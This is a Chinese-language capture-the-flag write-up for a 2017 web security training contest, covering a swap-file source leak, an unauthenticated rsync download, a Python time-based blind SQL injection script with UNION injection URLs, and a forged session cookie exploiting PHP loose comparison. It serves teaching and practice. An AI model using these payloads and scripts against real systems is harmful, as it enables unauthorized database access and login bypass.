2017秋季赛Web安全测试训练赛wp【安恒】
0x00编辑器的锅看到题目名字就差不多猜到了,swp文件泄露,http://114.55.36.69:20380/.login.php.swp,下载拿到swp文件,打开虚拟机,启动kali,利用命令行执行vim -r login.php.swp,修复看到源码,很明显的name和password,输入,直接getflag0x01 服务发现这题awvs没扫到有啥漏洞,表哥给的提示是rsyn...
0x00编辑器的锅
看到题目名字就差不多猜到了,swp文件泄露,http://114.55.36.69:20380/.login.php.swp,下载拿到swp文件,打开虚拟机,启动kali,利用命令行执行vim -r login.php.swp,修复看到源码,很明显的name和password,输入,直接getflag
0x01 服务发现
这题awvs没扫到有啥漏洞,表哥给的提示是rsync漏洞
Nmap扫描了下端口
很明显在873端口
参考网上对于这种漏洞的利用方法,
Rsync -avz --port=873 118.178.18.181::”source code”/flag.php /root/桌面
搞定flag(靠印象写的,目录不确定了,应该没错)
0x02 babysql
这个题目,,,很尴尬,首先选的注入点是id,不需要’或”的闭合,直接and可以执行,通过盲注搞定数据库名和表名,代码如下:
__author__ = 'netfish'
# -*-coding:utf-8-*-
import requests
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' #不区分大小写的
flag = ""
key=0
print("Start")
for i in range(1,12):
if key == 1:
break
for payload in range(30,125):
starttime = time.time()#记录当前时间
headers = {'Host': '114.55.36.69:20680',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36',
'Upgrade-Insecure-Requests': '1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Connection': 'close'
}
# url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr(database(),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)#数据库
'''
[Finally] current database is errorerror
'''
#url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0) then sleep(5) else sleep(0) end#"
'''
手动测试长度,第一个长度为10,limit 0,1
[Finally] current table is error_flag
手动测试长度,第二个长度为10,limit 1,1
[Finally] current table is error_news
手动测试不存在第三个表
'''
#url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)
#url ="http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1)>10) then sleep(7) else sleep(0) end#"
'''
手动测试第一个字段长度为11
[Finally] column is column_name
'''
url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select (extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)
res = requests.get(url, headers=headers)
if time.time() - starttime > 7:
flag += chr(payload)
print('\n column is:', flag)
break
else:
if payload == 125:
key = 1
break
print('\n[Finally] column table is %s' % flag)
然后很气的就是*和information_column都被过滤了,,,,很尴尬的绕过过程就不说了,,,蜜汁尴尬
之后就是先实验了表哥提示的`和报错注入,,,一直没有太多发现,不过研究`的时候发现了很多很有意思的事,`的注入(也不知道是不是注入,各种很神奇的发现)比如`#`与`%23`
后来表哥给了个table没有过滤information_column,利用`可以成功用where的提示,然后就开始了稀里糊涂的尝试
http://114.55.36.69:20680/index.php?table=news`%23`where%201=1%20and%20sleep(3)%23&id=3
成功执行,本来想着继续sleep盲注的,后来想到这是有回显的,可不可以直接select
http://114.55.36.69:20680/index.php?table=news`%23`where%201=2%20union%20(select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61)%20limit%200,1)%20%23&id=3
几个点吧,
第一个是前面where弄成1=2,这样union联合查询只有后面的数据
第二个是select要用1,2,column_name,这里有个报错,查了下百度,解释是union联合查询的查询数量不一样,按照最早测试的id可以有3个,1,2,3都有回显,所以确定前面的查询数量为3,这里补上1,2,满足查询三个
第三个点是error_flag需要绕过,,,,不说了不说了,extractvalue函数
第四个点是因为用了limit,因为逗号的原因,所以加上括号说明下执行顺序
,,,搞到字段名,,,坑啊,猜了好久的表名,怪不得猜不出来了flag_you_will_never_know,剩下的没啥好说的了,利用表名直接拿字段,flag出来
0x03 babylogin
想太多想太多,这题的感觉只有这个,思路后来想想还是很清晰的,倒推数据,直接搞定,md5那条路走不通,走的是__session这条路
代码如下:
第一部分,倒推代码:
<?php
$session=array(
"uid"=>"1'='1",
"hash"=>true
);
$data = json_encode($session, JSON_FORCE_OBJECT);
echo $data;
$finally_data = base64_encode($data);
echo $finally_data;
第二部分,源码审计:
<?php
include "config.php";
header("Content-Type:text/html;charset=utf8");
session_start();
if (!empty($_SESSION)&&$_SESSION["login"]==1) {
header("Location: admin.php");
exit();
}
foreach (array('_GET','_POST','_COOKIE') as $key) {
foreach ($$key as $key2 => $value) {
$_GPC[$key2]=$value;
}
}
/*
KEY2 1
$_GPC['']
*/
/*
<?php
$arr = array("one", "two", "three");
foreach ($arr as $key => $value) {
echo "Key: $key; Value: $value<br />\n";
}
?>
Key: 0; Value: one<br />
Key: 1; Value: two<br />
Key: 2; Value: three<br />
*/
//var_dump($_GPC);exit();
if ($_SERVER["REQUEST_METHOD"]=="GET"){#尝试使用get方式,未获取什么有效信息,只是直接跳转首页
echo include "outputtpl.php";
}else if($_SERVER["REQUEST_METHOD"]=="POST"){
$userin=addslashes($_POST["name"]);#在每个双引号(")前添加反斜杠
$passin=addslashes($_POST["password"]);
$session = json_decode(base64_decode($_GPC['__session']), true);#json_decode接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,变成数组 ;base64_decode对 base64 编码的 data 进行解码;$_GPC 全局请求变量, 获取 $_GET, $_POST, $_COOKIES 中的变量
if (is_array($session)){
$user = find_user_by_uid($session['uid']);
if(is_array($user) && $session['hash'] == $user['password']){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}else{
$sql = "select password from admin where username='$userin'";
$row = mysql_fetch_array(mysql_query($sql));
if($row){
if($row[$passin]==md5($passin)){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}else{
echo "用户名或密码错误";
}
}
}else {
echo "GET or POST plz!";
}
核心思想:sql注入,true弱口令
更多推荐
所有评论(0)